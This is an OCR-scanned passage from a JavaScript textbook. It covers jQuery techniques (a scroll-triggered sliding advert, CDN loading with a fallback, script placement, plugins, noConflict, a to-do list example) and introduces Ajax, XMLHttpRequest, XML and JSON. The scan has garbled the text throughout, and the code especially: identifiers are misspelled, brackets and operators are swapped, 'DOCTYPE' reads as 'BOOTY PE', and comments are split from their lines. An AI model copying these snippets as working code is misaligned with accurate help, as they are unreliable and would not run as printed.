OF ITEMS ON THE PAGE 


In this example, as the user 
scrolls down the page, a box 
slides into view if they get within 
500 pixels of the footer. 

We will call this part of the page 
the end zone, and you need to 
work out the height at which the 
endZone starts. 

Every time the user scrolls, you 
then check the position of the 
scroll bar from the top of the 
page. 

If the scroll bar is further down 
the page than the start of the 
end zone, the box is animated 
into the page. If not, then the box 
is hidden. 

The HTML for this example 
contains an extra <di v> element 
at the end of the page containing 
the advert, A lot of Items have 
been added to the list to create a 
long page that scrolls. 


cQ7 /posit ion.html 


HTML 


. . .<1 i>quinoa</l i> 

</ul> 

<p id=‘'footer">&copy; ListKing</p> 

<div id="sl ideAd"> 

Buy ListKing Pro for only $1.99 

</div> 

</div> 

<scri pt src="4 s/j query-1. 9. 1, min. js"></scri pt> 
<scri pt src="js/position. js"></scri pt> 


* i S U : T 

sourdough bread 

almond milk V - 

kale Kj 

gluten-free soy sauce (C 

quinoa 
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1* Cache the window and advert. 

2 t The height of the end zone 
is calculated, and stored in a 
variable called endZone, 

3. The scrol 1 event triggers an 
anonymous function every time 
the user scrolls up or down. 


4. A conditional statement 
checks if the user’s position is 
further from the top of the page 
than the start of the end zone, 

5. If the condition returns true, 
the box slides in from the right- 
hand edge of the page. This 
takes 250 milliseconds. 


6. If the condition is false or the 
box is in the middle of animating, 
it is stopped using the .stop{) 
method. The advert then slides 
off the right-hand edge of the 
page. Again, this animation will 
take 250 milliseconds, 


JAVASCRIPT 


c07/js/position.js 


$(ftmction() { 
var Swindow = $ (window); 
var $slideAd = $( 1 #sl ideAd ' ) ; 

© var endZone - ${ '#footer' ) . offset () , top - $window.height() - 500; 
(D $window.on( ' scrol V , function () { 


© if ( (endZone) < $wi ndow, scrol ITopO } { 

© $s1 IdeAd , animate { ( 'right 1 : 'Opx 1 ), 250); 

} else { 

® $slideAd.stop(true) *animate({ 'right': '-360px' ), 250); 

} 

}); 


})s 


CALCULATING THE END ZONE 


Calculate the height at which the 
box should come into view by: 

a) Getting the height from the 
top of the page to the top of the 
footer (the gray bar) in pixels. 

b) Subtracting the height of the 
viewport from this result. 

c) Subtracting a further SOOpx 
for the area where the box will 
come into view (shown in pink). 


You can tell how far the user has 
scrolled down the page using: 

$(window) , scrol ITopO ; 

if the distance extends down 
further than the height at which 
the end zone should show, the 
box should be made visible. 

if not, then the box should move 
off the page. 
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WAYS TO INCLUDE 
JQUERY IN YOUR PAGE 


In addition to hosting the jQuery file with the 
rest of your website, you can also use a version 
that is hosted by other companies. However, 
you should still include a fallback version. 


At the time of writing, the main 
CDNs to offer jQuery are jQuery 
CD N (powered by Max CDN), 
Google, and Microsoft. 


ORIGIN 


CDN 


USER 



A Content Delivery Network 
(or CDN) is a series of servers 
spread out around the world. 
They are designed to serve 
static files (such as HTML, CSS, 
JavaScript, images, audio, and 
video files) very quickly. 


The CDN tries to find a server 
near you, then sends files from 
that server so the data does not 
travel as far. With jQuery, users 
might have already downloaded 
and cached the file from a CDN 
when visiting another site. 


When including jQuery in your 
pages, you can try to load it 
from one of these CDNs. Then 
you check if it loaded, and if not, 
you can include a version that is 
stored on your own servers (this 
is known as a fallback). 


354) JQUERY 


LOADING JQUERY 
FROM A CDN 


When a page loads jQuery from 
a CDN, you will often see a 
syntax like the one shown below. 
It starts with a <scri pt> tag that 
tries to load the jQuery file from 
the CDN. But note that the URL 
for the script starts with two 
forward slashes (not http:). 


This is known as a protocol 
relative URL If the user is 
looking at the current page 
through https, then they will not 
see an error that tells them there 
are unsecure items on the page. 
Note: This does not work locally 
with the file:// protocol, 


This is often followed by a 
second <$cri pt> tag that 
contains a logical operator, 
which checks to see if jQuery 
has loaded. If it has not loaded, 
the browser tries to load the 
jQuery script from the same 
server as the rest of the website. 


HTML 


<script src^'7/ajax.googl eapis*com/ajax/l ibs/jquery/1* lG.2/jquery*min« js l( > 
</$cript> 


<script> 

window JQuery |[ document.write( , <script $rc =, Js/jquery~l J0.2 Js"><\/script>‘) 
</script> 


The logical operator looks for 
the jQuery object that the 
jQuery script makes available. 

If it exists, then a truthy value is 
returned and the logical operator 
short circuits (see p157). 


If jQuery has not loaded, then 
the document. write() method 
is used to add a new <$cri pt> 
tag into the page. This will load a 
version of jQuery from the same 
server as the rest of the website. 


The fallback option is important 
because the CDN may be 
unavailable, the file may have 
moved, and some countries ban 
some domain names (such as 
Google), 
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WHERE TO PLACE YOUR 
SCRIPTS 


The position of <scri pt> elements can affect 
how quickly a web page seems to load. 


SPEED 

In the early days of the web, developers were told to 
place the <$cri pt> tags in the <fiead> of the page 
as you do with style sheets. However, this can make 
pages seem slower to load. 

Your web page may use files from several different 
locations (e.g., images or CSS files might be loaded 
from one CDN, jQuery could be loaded from the 
jQuery or Google CDNs, and fonts might be loaded 
from another third party). 

Usually a browser will collect up to two files at a time 
from each different server However, when a browser 
starts to download a JavaScript file, it stops all other 
downloads and pauses laying out the page until the 
script has finished loading and been processed. 

Therefore, if you place the script at the end of the 
page before the closing </body> tag, it will not affect 
the rendering of the rest of the page. 


HTML LOADED INTO THE DOM TREE 

Whenever a script is accessing the HTML within a 
web page, it also needs to have loaded that HTML 
into the DOM tree before the script can work. (This 
is often referred to as the DOM having loaded.) 

You can use the load event to trigger a function so 
that you know the HTML has loaded. However, it 
fires only when the page and all of its resources load. 
You can also use the HTML5 DOMContentLoaded 
event, but it does not work in older browsers, 

- T LOADED 

ul 

• NOT YET 

— — - - - LOADED 




If the script tries to access an element before it has 
loaded, it causes an error. In the diagram above, the 
script could access the first two <1 i> elements, but 
not the third or fourth. 


Where possible, do consider 
using alternatives to scripts. For 
example, use CSS for animations 
or HTMLS's autofocus attribute 
rather than using the 1 oad event 
to bring focus to an element. 


If your page is slow to load and 
you only want to include a small 
amount of code before the rest 
of the page has loaded, you can 
place a <scri pt> tag within the 
body of the page. 


At the time of writing, this 
technique was commonly used 
by Google for speed advantages, 
but it is acknowledged that it 
makes code much harder to 
maintain. 
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<! BOOTY PE html> 

<html> 

<head> 

<title>Sample Page</title> 

<1 ink rel -"stylesheet" href="sampte.css n /> 
<seript src="js/sample.js“></script> 

<head> 

<body> 

<hl>5ample Page</hl> 

<div id= ,, page ,t >Main content here, , ,</div> 
</body> 

</html> 



IN THE HEAD 

This location is best avoided as; 

1. Pages seem slower to load. 

2, DOM content is not loaded, 
when the script rs executed so 
you have to wait for an event like 
load or DOMContent Loaded to 
trigger your functions. 

If you must use a <scri pt> 
element within the head of the 
page, it should be just before the 
closing </head> tag. 


<!D0CTYPE html> 

<htm1> 

<head> 

<title>Sample Page</title> 

<1 ink rel -"stylesheet" href- ,r sample.css" /> 
<head> 

<body> 

<hl>$ample Page</hl> 

<script src= M js/sample, js"></script> 

<div id-"page">Main content here. . .</di v> 
</body> 



IN THE PAGE 

As with scripts in the <head>, 
those in the middle of the page 
will slow the rest of the page 
down when it is loading. 

If you use document. writeO, 
the <seri pt> element has to 
be placed where you want that 
content to appear. This is one of 
several good reasons to avoid 
using document . wri te ( ) . 


<!f)0CTYPE html> 

<head> 

<title>Sample Page</title> 

0 <link rel “"stylesheet 11 href =l> saniple.css n /> 
<head> 

<body> 

<hl>Sample Page</hl> 

<div id= ,l page Tr >Main content here, , ,</div> 
<script src= Il js/sam|)le.js l, ></script> 

</body> 

</html> 


BEFORE THE CLOSING 

</body> TAG 

This is an ideal location as: 

1. The script is not blocking 
other things from downloading. 

2. The DOM has already 
loaded by the time the script is 
executed. 
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JQUERY 

DOCUMENTATION 


For an exhaustive list of the functionality 
provided in jQuery, visit http : // api .jquery.com 


ft is not possible to teach you everything about 
jQuery in one (albeit long) chapter. But you have 
seen many of the most popular features, and 
you should now know enough about jQuery to 
understand how it works and how to make use of it 
in your scripts. 

Throughout the remaining chapters of this book, you 
will see many more examples that use jQuery. 


What you have learned should also give you enough 
experience to work with the comprehensive jQuery 
documentation available online at: 
http: //api .j query .com 

This site lists each method and property available to 
you, along with new functionality added in the latest 
versions, and notes that indicate which features are 
scheduled to be dropped. 


HOW THE DOCUMENTATION WORKS 

On the left-hand side of the page, you will see the 
different types of functionality that you can explore. 

When you click on any of the methods in the main 
column, you wilt see a list of the parameters that it 
can take. When parameters are optional, they are 
shown in square brackets. 

You will also find deprecated methods. This 
means that you are no longer advised to use this 
markup because it is likely to be removed from 
future versions of jQuery (if it has not already been 
removed). 



358) JQUERY 




EXTENDING JQUERY 
WITH PLUGINS 


Plugins are scripts that extend the functionality of the jQuery library, 
Hundreds have been written and are available for you to use. 


Plugins offer functionality that is not included 
in the jQuery library. They usually deal with a 
particular task such as creating slideshows or video 
players, performing animations, transforming data, 
enhancing forms, and displaying new data from a 
remote server. 

To get an idea of the number and range of plugins 
available, see http://pliiginsjquery.com. 

All of these are free for you to download and use on 
your own sites. You may also find other sites listing 
jQuery plugins for sale (such as codecanyon.net). 
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Plugins are written so that new methods extend 
the jQuery object and can, therefore, be used on a 
jQuery selection. As long as you know how to do the 
following with jQuery: 

• Make a selection of elements 

• Call a method and use parameters 

You can use a lot of the functionality of these plugins 
without having to write the code yourself. In Chapter 
11, you will see an example of how to create a basic 
jQuery plugin. 


HOW TO CHOOSE A PLUGIN 

When you are choosing a plugin to work with, it can 
be worth checking that it is still being maintained or 
whether other people have experienced problems 
using it, Finding out the following can help: 

• When was the piugin last updated? 

• How many people are watching the plugin? 

• What do the bug reports say? 

If you ask a question or find a bug in a script, bear in 
mind that their authors may have a day job and only 
maintain these plugins in their spare time to help 
others and to give back to the community. 
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JAVASCRIPT LIBRARIES 


jQuery is an example of what programmers call a JavaScript library. 

It is a JavaScript file that you include in your page, which then lets you 
use the functions, objects, methods, and properties it contains. 


The concept of a library is that it 
allows you to borrow code from 
one file and use its functions, 
objects, methods, and properties 
in another script. 

Once you have included 
the script in your page, its 
functionality is available to use. 
The documentation for the 
library will tell you how to use it. 


DOM & EVENTS 

Zeptojs 

YUI 

Dojo.js 

MooTooIsJs 

TEMPLATING 

Mustache, js 
Handlebarsjs 
jQuery Mobile 


jQuery 3s the most widely used 
library on the web, but when 
you have learned it, you might 
like to explore some of the other 
libraries listed below. 

Popular libraries have the 
advantage that they will be welt- 
tested, and some have a whole 
team of developers who work on 
them in their spare time. 


USER INTERFACE 

jQuery Ul 
jQuery Mobile 
Twitter Bootstrap 
YUI 

WEB APPLICATIONS 

Angular.js 

Backbone's 

Ember.js 


One of the main drawbacks with 
a library is that they will usually 
contain functionality that you 
will not need to use. This means 
users have to download code 
that will not be needed (which 
can slow your site down). You 
may find that you can strip out 
the subset of the library you 
need or indeed write your own 
script to do that job, 


GRAPHICS & CHARTS 

Chart js 
D3.js 

Processing, js 
Raphael. js 

COMPATIBILITY 

Modernizes 
YepNope.js 
Require, js 
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PREVENTING CONFLICTS 
WITH OTHER LIBRARIES 


Earlier in the chapter, you saw that $ ( ) was shorthand for jQuery ( ) . 
The $ symbol is used by other libraries such as prototyped, MooTools, 
and YUI. To avoid conflicts with those scripts, use these techniques. 


INCLUDING JQUERY 
AFTER OTHER LIBRARIES 

Here, jQuery-s meaning of $ takes precedence; 

<script src= "other. js"></script> 

<script src= ,, jquery.js ,, ></script> 

You can use the ,noConflict{) method at the start 
of your script, to tell jQuery to release the $ shortcut 
so that other scripts can use it. Then you can use the 
full name rather than the shortcut; 

j Query. noConflictO ; 
j Query (functi on () { 

j Query (' di v' ) -bidet); 

Ik 

You can wrap your script in an IIFE and still use $: 

jQuery . noCon f 1 i ct ( ) ; 

( function ($ ) { 

$ ( 1 d i v 1 ) . h j d e ( ) ; 

}} (jQuery); 

Or you can specify your own alias instead, e.g, r 5j: 

var $j - jQuery. noConflictO ; 

$ j (document), ready (functi on () { 

$j ( * di v 1 ) _hide() ; 

Ik 


INCLUDING JQUERY 
BEFORE OTHER LIBRARIES 

Here, the other scripts' use of $ takes precedence: 

<script s rc^ B j query, js ,l ></script> 

<scri pt s rc=" other . j s “x/ scr i pt> 

S will have the meaning defined in the other library 
There is no need to use the . noConf 1 i ct ( ) method 
because it will have no effect. But you can continue 
to use the full name jQuery: 

jQuery (document) .ready (functi on () { 
jQuery( 'di v 1 ) .hide{) ; 

}); 


You can pass $ as an argument to the anonymous 
function called by the .ready () method like so: 

jQuery(document) .ready(function($) { 

$('d1v').h1de(); 

}); 

This is equivalent to the code shown above: 

jQuery(function($) ( 

${ 1 di v 1 ) • hi de() ; 

Ik 
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USTKING 


BUY GROCERIES O 


fresh figs 


balsamic vinegar 
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EXAMPLE 

JQUERY 


This example brings together a number of the 
techniques you have seen in this chapter to 
create a list that users can add items to and 
remove items from. 

• Users can add new list items. 

• They can also click to indicate that an item is complete (at which 
point it is moved to the bottom of the list and marked as compl ete). 

• Once an item is marked as complete, a second click on the item will 
remove it from the list. 

An updated count of the number of items there are in the list will be 
shown in the heading. 

As you will see, the code using jQuery is more compact than it would 
be if you were writing this example in plain JavaScript, and it will work 
across browsers even though there is no explicit fallback code. 

Because new items can be added to the list, the events are handled using 
event delegation. When the user dicks anywhere on the <ul > element, 
the *on() event method handles the event. Inside the event handier, 
there is a conditional statement to check whether the list item is: 

• Not complete - in which case, the click is used to change the item to 
complete, move it to the bottom of the list, and update the counter. 

• Complete - in which case, the second click on the item fades ft out 
and removes it from the list altogether. 

The use of conditional statements and custom functions (used for the 
counter) illustrate how jQuery techniques are used in combination with 
traditional JavaScript that you have been learning throughout the book. 

The appearance and removal of the elements is also animated, and 
these animations demonstrate how methods can be chained together to 
create complex interactions based on the same selection of elements. 
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EXAMPLE 

JQUERY 


cQ7/js/examp1e.js 
$ ( f unct i on ( ) { 


JAVASCRIPT 


// SETUP 

var $11 st, SnewItemForm, $newItemButton; 
var item ■ ' 1 ; 

$list = ${ 1 ul 1 ) ; 

$newItemForm = $( ’#newItemFonti' ) ; 
SnewItemButton = $ ( '#newItemButton') ; 

$( ’ 1 i ' ) . hi de ( ) . each (f unct i on ( i ndex) { 

$ ( thi s) .del ay (450 * index) . fadeln (1600) ; 
})i 


// item is an empty string 
// Cache the unordered list 
// Cache form to add new items 
// Cache button to show form 

// Hide list items 
// Then fade them in 


// ITEM COUNTER 
function updateCount{) { 
var items = ${ 'li [class!=complete] 
${ ' #counter 1 ) . text (i terns) ; 

1 

updateCount() ; 


// Declare function 
). length; // Number of items in list 
// Added into counter circle 

// Call the function 


// SETUP FORM FOR NEW ITEMS 
$newItemButton.show() ; 
$newItemForm.hide() ; 

$( ' #showForm' ) ,on( ' cl i c k ' , function() 
$newItemButton.hide() ; 
$newItemForm.show() ; 

}); 


// 

Show 

the 

button 

// 

Hide 

the 

form 

// 

When 

new 

item clicked 

// 

Hide 

the 

button 

// 

Show 

the 

form 


The entire script will wait until 
the DOM is ready before running, 
because it is inside the shorthand 
for the document. ready() method. 
Variables are created that will be 
used in the script, including jQuery 
selections that need to be cached. 


The updateCounter{) function 
checks how many items are in the 
list and writes it into the heading. It 
is called straight away to calculate 
how many list items are on the 
page when it loads, and then write 
that number next to the heading. 


The form to add new items is 
hidden when the page loads, and 
is shown when the user dicks on 
the add button. When the user 
dicks on the add button a new 
item is added to the form and the 
updateCounterO is called. 
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EXAMPLE 

JQUERY 


JAVASCRIPT 


cO?/js/example.js 


// ADDING A NEW LIST ITEM 
$newItemFornuon(' submit 1 5 function(e) ( 
e. prevent Default (); 
var text = ${ 1 i nputitext 1 ) . val () ; 
$1ist*append( l <li> i + text + , </li> t ); 
${ * input:text* } ,val ( ' 1 ) ; 
updateCount () ; 


// When a new item is submitted 
// Prevent form being submitted 
// Get value of text input 
// Add item to end of the list 
// Empty the text input 
// Update the count 


// CLICK HANDLING - USES DELEGATION ON <ul> ELEMENT 
$1 i st * on ( 1 cl i ck 1 , 'li', functionQ { 

var $this = $(this); // Cache the element in a jQuery object 

var complete = $thfs,hasClass{ 'complete' ) ; // Is item complete 


if (complete -== true) { 
$this,animate({ 
opacity: G.O, 
paddingLeft: '+=180' 

}, 500, 'swing', function() { 
$thi s. remove (} ; 

)); 

1 else ( 

item * $thi s . text ( ) ; 

$this. remove {) ; 

$ 1 i s t 

.append ( '<1 i cl ass-\"compl ete\ 
. hi de{) •fadeln(300) ; 
updateCount {); 

} 

}); 


// Check if item is complete 
// If so, animate opacity + padding 


// Use callback when animation completes 
// Then completely remove this item 

// Otherwise indicate it is complete 
// Get the text from the list item 
// Remove the list item 
// Add back to end of list as complete 
>' + item + , </li> 1 ) 

// Hide it so it can be faded in 
// Update the counter 
// End of else option 
// End of event handler 


}); 


The „on() event method listens 
for the user clicking anywhere on 
the list because this script uses 
event delegation. When they do, 
the element that was clicked on 
is stored in a jQuery object and 
cached in a variable called $this. 


Next, the code checks if that 
element has a class name of 
compl ete. If it does, then the list 
item is animated out of view and 
removed. If it was not already 
complete, then it is moved to the 
end of the list. 


When it is added to the end of the 
list, its cl ass attribute is given a 
value of complete. 

Finally, updateCount () is called to 
update the number of items left to 
do on the list. 
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SUMMARY 


JQUERY 




jQuery is a JavaScript file you include in your pages. 

Once included, it makes it faster and easier to write 
cross-browser JavaScript, based on two steps: 

Using CSS-style selectors to collect one or more 
nodes from the DOM tree. 


1 


sing jQuery’s built-in methods to work with the 
elements in that selection. 

jQuery's CSS-style selector syntax makes it easier to 
select elements to work with. It also has methods that 
make it easier to traverse the DOM. 

jQuery makes it easier to handle events because the 
event methods work across all browsers. 

jQuery offers methods that make it quick and simple to 
achieve a range of tasks that JavaScript programmers 
commonly need to perform. 




JQUERY 


8 

AJAX & JSON 



Ajax is a technique for loading data into part of a page 
without having to refresh the entire page. The data is often 
sent in a format called JavaScript Object Notation (or JSON). 

The ability to load new content into part of a page improves the user experience because 
the user does not have to wait for an entire page to load if only part of it is being updated. 
This has ted to a rise in so-called single page web applications (web-based tools that feel 
more like software applications, even though they run in the browser). This chapter covers: 

WHAT AJAX IS 

Ajax allows you to request 
data from a server and 
load it without having to 
refresh the entire page. 


DATA FORMATS 

Servers typically send 
back HTML, XML, or 
JSON, so you will learn 
about these formats. 


J QUERY & AJAX 

jQuery makes it easier 
to create Ajax requests 
and process the data the 
server returns. 


AJAX & JSON 
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WHAT IS AJAX? 


You may have seen Ajax used on many websites, 
even if you were not aware that it was being used. 


multimoGg 

multimoog 

multi moog for sale 

multimodal 



Moog Music Inc. ^moogrrmsicinc 

Born today in 1896: Leon Theremin, 
physicist, spy & inventor of one of the 
earliest electronic musical instruments. 
pic.twitter.com/theremin 


Live search (or autocomplete) commonly uses Ajax, 
You may have seen it used on the Google website. 
When you type into the search bar on the home 
page, sometimes you will see results coming up 
before you have finished typing. 


Websites with user-generated content (such 
as Twitter and Flickr) may allow you to display 
your information (such as your latest tweets or 
photographs) on your own website. This involves 
collecting data from their servers. 



Sometimes when you are shopping online and add 
items to your shopping cart, it is updated without 
you leaving the page. At the same time, the site may 
display a message confirming the item was added. 


Choose your username 

minimoog 

This username is taken. Try another? 

Available; minimoog70 

If you are registering for a website, a script may 
check whether your username is available before 
you have completed the rest of the form. 


Sites may also use Ajax to load data behind the scenes so that they can use or show that data later on. 
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WHY USE AJAX? 


Ajax uses an asynchronous processing model. This means the user can 
do other things while the web browser is waiting for the data to load, 
speeding up the user experience. 


USING AJAX WHILE 
PAGES ARE LOADING 

When a browser comes across a <script> tag, it will 
typically stop processing the rest of the page until it 
has loaded and processed that script. This is known 
as a synchronous processing model. 

When a page is loading, if a script needs to collect 
data from a server (e g,, if it collects financial 
exchange rates or status updates); then the browser 
would not just wait for the script to be loaded and 
processed; It would also have to wait for a server to 
send the data that the script is going to display. 

With AjaX; the browser can request some data from 
a server and - once that data has been requested - 
continue to load the rest of the page and process the 
user’s interactions with the page. It is known as an 

asynchronous (or non-blocking) processing model. 

The browser does not wait for the third party data in 
order to show the page. When the server responds 
with the data; an event is fired (like the 1 oad event 
that fires when a page has loaded). This event can 
then call a function that processes the data. 


USING AJAX WHEN 
PAGES HAVE LOADED 

Once a page has loaded, if you want to update what 
the user sees in the browser window, typically you 
would refresh the entire page. This means that the 
user has to wait for a whole new page to download 
and be rendered by the browser. 

With Ajax, if you only want to update a port of 
the page, you can just update the content of one 
element. This is done by intercepting an event (such 
as the user clicking on a link or submitting a form) 
and requesting the new content from the server 
using an asynchronous request. 

While that data is loading; the user can continue 
to interact with the rest of the page. Then, once 
the server has responded, a special Ajax event will 
trigger another part of the script that reads the new 
data from the server and updates just that one part 
of the page. 

Because you do not have to refresh the whole page, 
the data will load faster and the user can still use the 
rest of the page while they are waiting. 


Historically, AJAX was an acronym for the technologies used in asynchronous requests like this. It stood for 
Asynchronous JavaScript And XML. Since then, technologies have moved on and the term Ajax is now used to 
refer to a group of technologies that offer asynchronousfunctionallty in the browser. 
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HOW AJAX WORKS 


When using Ajax, the browser requests information from a web server. 
It then processes the server’s response and shows it within the page. 


1 

THE REQUEST 

The browser requests 
information from the server. 


ON THE SERVER 

The server responds with data 
(usually HTML, XML, or JSON). 


2 

THE RESPONSE 

The browser processes the 
content and adds it to the page. 



The browser requests data from 
the server. The request may 
include information that the 
server needs - just like a form 
might send data to a server. 

Browsers implement an object 
called XMLHttpRequest to 
handle Ajax requests. Once a 
request has been made, the 
browser does not wait for a 
response from the server. 


What happens on the server is 
not part of what is called Ajax. 

Server-side technologies such 
as ASP.net, PHP, NodeiS, or 
Ruby can generate web pages 
for each user. When there is an 
Ajax request, the server might 
send back HTML, or it might 
send data in a different format 
such as JSON or XML (which the 
browser turns into HTML). 


When the server has finished 
responding to the request, the 
browser will fire an event (just 
like it can fire an event when a 
page has finished loading). 

This event can be used to 
trigger a JavaScript function 
that will process the data and 
incorporate it into one part of 
the page (without affecting the 
rest of the page). 
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HANDLING AJAX 
REQUESTS & RESPONSES 


To create an Ajax request, browsers use the XMLHttpRequest object. 
When the server responds to the browser's request, the same 
XMLHttpRequest object will process the result. 


THE REQUEST 

©var xhr = new XMLHttpRequestQ ; 

© xhr .open ('GET 1 , "data/test Json J s true); 
@ xhr.sendCsearch^arduino 


1. An instance of the 
XMLHttpRequest object is 
created using object constructor 
notation (which you met on 
p!06). ft uses the new keyword 
and stores the object in a 
variable, The variable name xhr 
is short for XMLHttpRequest (the 
name of the object). 


2. The XMLHttpRequest object s 
open() method prepares the 
request, it has three parameters 
(which you meet on p379): 

0 The HTTP method 

ii) The url of the page that wilf 

handle your request 

ill) A Boolean indicating if it 

should be asynchronous 


3. The sendQ method is the one 
that sends the prepared request 
to the server. Extra information 
can be passed to the server in 
the parentheses. If no extra 
information is sent, you may see 
the keyword nul 1 used (although 
it is not strictly needed): 
xhr.send(nul] ). 


THE RESPONSE 

©xhr. onload - funct1on() ( 
© if (xhr. status === 200) { 
// Code to process the 

} 

} 

1. When the browser has 
received and loaded a response 
from the server, the onload 
event will fire. This will trigger 
a function (here, it is an 
anonymous function). 


results from the server 


2. The function checks the 
status property of the object. 
This is used to make sure the 
server's response was okay. 

(If this property is blank, check 
the setup of the server) 


Note that IE9 was the first 
version of I E to support this way 
of dealing with Ajax responses. 
To support older browsers, you 
can use jQuery (see p388). 
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DATA FORMATS 


The response to an Ajax request usually comes in one of three formats: 
HTML, XML, or JSON, Below is a comparison of these formats. 

XML and JSON are introduced over the next three pages. 


HTML 

You are probably most familiar 
with HTML, and, when you want 
to update a section of a web 
page, it is the simplest way to 
get data into a page. 

BENEFITS 

• It is easy to write, request, 
and display. 

• The data sent from the server 
goes straight into the page. 
There's no need for the 
browser to process it (as with 
the other two methods). 


XML 

XML looks similar to HTML, 
but the tag names are different 
because they describe the data 
that they contain. The syntax is 
also more strict than HTML. 

BENEFITS 

• It is a flexible data format 
and can represent complex 
structures. 

• It works well with different 
platforms and applications. 

• It is processed using the same 
DOM methods as HTML. 


JSON 

JavaScript Object Notation 
(JSON) uses a similar syntax 
to object literal notation (which 
you met on p!02) in order to 
represent data. 

BENEFITS 

• It can be called from any 
domain (see JSON-P/CQRS). 

• It is more concise (less 
verbose) than HTML/XML 

• It is commonly used with 
JavaScript (and is gaining wider 
use across web applications). 


DRAWBACKS 

• The server must produce 
the HTML in a format that is 
ready for use on your page, 

• It is not well-suited for use in 
applications other than web 
browsers. It does not have 
good data portability, 

• The request must come from 
the same domain* (see below). 


DRAWBACKS 

• It is considered a verbose 
language because the tags 
add a lot of extra characters 
to the data being sent, 

• The request must come from 
the same domain as the rest 
of the page" (see below). 

• It can require a lot of code to 
process the result. 


DRAWBACKS 

• The syntax is not forgiving, 

A missed quote, comma, or 
colon can break the file. 

• Because it is JavaScript, it can 
contain malicious content 
(see XSSon p228). 

Therefore, you should only 
use JSON that has been 
produced by trusted sources. 


* Browsers only let Ajax ioad HTML and XML from the same domain name as the rest of the page 
(e.g., if the page is on www. examp) e , com, the Ajax request must return data from www, example, com). 
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XML: EXTENSIBLE 
MARKUP LANGUAGE 


XML looks a lot like HTML, but the tags contain different words. 

The purpose of the tags is to describe the kind of data that they hold. 


<?xml version^' 1.0* encoding* ?> 

<events> 

<event> 

<location>San Francisco, CA</1ocation> 
<date>May l</date> 
<map>img/map-ca,png</map> 

</event> 

<event> 

<1 ocat i on>Au$ t f n , TX</I oca t i on> 
<date>May 15</date> 

<map>i mg /map - tx . png</map> 

</everrt> 

<event> 

<location>Hew York, NY</location> 
<date>May 30</date> 

<map>1 mg/map-ny * png</map> 

</event> 

</events> 


You can process an XML file using the same DOM methods as HTML. 
Because different browsers deal with whitespace in HTML/XML 
documents in different ways, it is easier to process XML using jQuery 
rather than plain JavaScript (just as it can be with HTML). 


In the same way that HTML is 
a markup language that can be 
used to describe the structure 
and semantics of a web page, 
XML can be used to create 
markup languages for other 
types of data - anything from 
stock reports to medical records. 

The tags in an XML file should 
describe the data they contain. 
As a result, even if you have 
never seen the code to the 
left, you can see that the data 
describes information about 
several events. The <events> 
element contains several 
individual events. Each individual 
event is represented In its own 
<event> element. 

XML works on any platform and 
gained wide popularity in the 
early 2000s because it made it 
easy to transfer data between 
different types of applications. 

It is also a very flexible data 
format because it is capable 
of representing complex data 
structures. 
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JSON: JAVASCRIPT 
OBJECT NOTATION 


Data can be formatted using JSON (pronounced "Jason"). 

It looks very similar to object literal syntax, but it is not an object. 


JSON data looks like the object 
literal notation which you met on 
p102; however, it is just plain 
text data (not an object). 


The distinction may sound small 
but remember that HTML is 
just plain text, and the browser 
converts it into DOM objects. 


You cannot transfer the actual 
objects over a network. Rather, 
you send text which is converted 
into objects by the browser. 


11 

location": 

"San Francisco, CA", 

II 

capacity": 

270, 

tl 

} 

1 

booking": 

. j 

true 

i - i 


T 

KEY 

1 

VALUE 

(in double quotes) 


KEYS 

VALUES 


In JSON, the key should be 

The value can be any of the following data types (some of these are 

placed in double quotes (not 

demonstrated above; others are shown on the right-hand page): 

single quotes). 

OATATYPE DESCRIPTION 

The key (or name) Is separated 
from its value by a colon. 

string 

Text (must be written in quotes) 

number 

Number 

Each key/value pair is separated 
by a comma. However, note that 

Boolean 

Either true or false 

array 

Array of values - this can also be an array of objects 

there is no comma after the last 
key/value pair 

object 

JavaScript object - this can contain child objects or arrays 

null 

This is when the value is empty or missing 
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WORKING WITH 
JSON DATA 


JavaScript’s JSON object can turn JSON data into a JavaScript object. 
It can also convert a JavaScript object into a string. 


{ 

The object on the left represents 

"events’ 1 : [ 

3 series of three events, stored in 

( 

an array called events. The array 

"location": "San Francisco, CA", 

uses square bracket notation, 

"date 1 ': "Hay 1", 

and ft holds three objects Cone 

"map": "img/map-ca.png" 

L 

{ 

for each event). 

JSON . stri ngf fy ( ) converts 

"location”: "Austin, TX", 

JavaScript objects into a string, 

"date": "Hay 15 \ 

formatted using JSON. This 

"map": "img/map-tx. png’ 1 

allows you to send JavaScript 

) * 

objects from the browser to 

t 

another application. 

“location": "New York, NY", 

"date": "May 30", 

JSON. parse () processes a 

"map": "img/map-ny.png" 

} 

] 

} 

• OBJECT • ARRAY 

An object can also be written on one line, as you can see here: 

string containing JSON data. It 

converts the JSON data into a 
JavaScript objects ready for the 

browser to use, 

Browser support: Chrome 3 r 
Ftrefox 3.1, 1E8, and Safari 4 


{ 

"events": [ 

{ "location": "San Francisco, CA’ 1 , "date": "Hay 1“, "map": "img/map-ca.png" }, 
{ "location": "Austin, TX", "date": "May 15", "map": "img/map-tx.png" }, 

{ "location": "New York, NY", "date": "May 30", "map": "img/map-ny.png" } 

] 

} 
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LOADING HTML 
WITH AJAX 


HTML is the easiest type of data to add into a page using Ajax. 

The browser renders it just like any other HTML. 

The CSS rules for the rest of the page are applied to the new content. 


Below, the example loads data 
about three events using Ajax. 
(The result will look the same for 
the next four examples.) 


The page users open does not 
hold the event data (highlighted 
in pink). Ajax fs used to load it 
into the page from another file. 


Browsers will only let you use 
this technique to load HTML that 
comes from the same domain 
name as the rest of the page. 

Whether HTML, XML, or JSON 
is being returned from the 
server, the process of setting up 
the Ajax request and checking 
whether the file is ready to be 
worked with is the same. What 
changes is how you deal with the 
data that is returned, 

In the example on the right-hand 
page, the code to display the 
new HTML is placed inside a 
conditional statement, 

Please note: These examples do 
not work locally in Chrome. 

They should work locally in 
Firefox and Safari, IE support is 
mixed until IE9, 

Later in the chapter, you will see 
that jQuery offers better cross- 
browser support for Ajax. 



THE MAKER BUS 


The bus stops here. 



$im FrwKBCCv CA Austin, TX ftew Yort. NY 

JOjy 1 May IS Mdy30 


HIGHLIGHTED AREA LOADED USING AJAX 

When a server responds to any request, it should send back a status 

message, to Indicate if it completed the request. The values can be: 

200 The server has responded and all is ok 

304 Not modified 

404 Page not found 

500 Internal error on the server 


If you run the code locally, you will not get a server status property, so 
this check must be commented out, and return true for the condition. 
If a server fails to return a status property, check the server setup. 
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1. An XMLHttpRequest object is 
stored In a variable called xh r\ 

2, The XMLHttpRequest object's 
open{) method prepares the 
request. It has three parameters: 

i) Either HTTP GET or POST to 
specify how to send the request 

ii) The path to the page that will 
handle the request 

iii) Whether or not the request is 
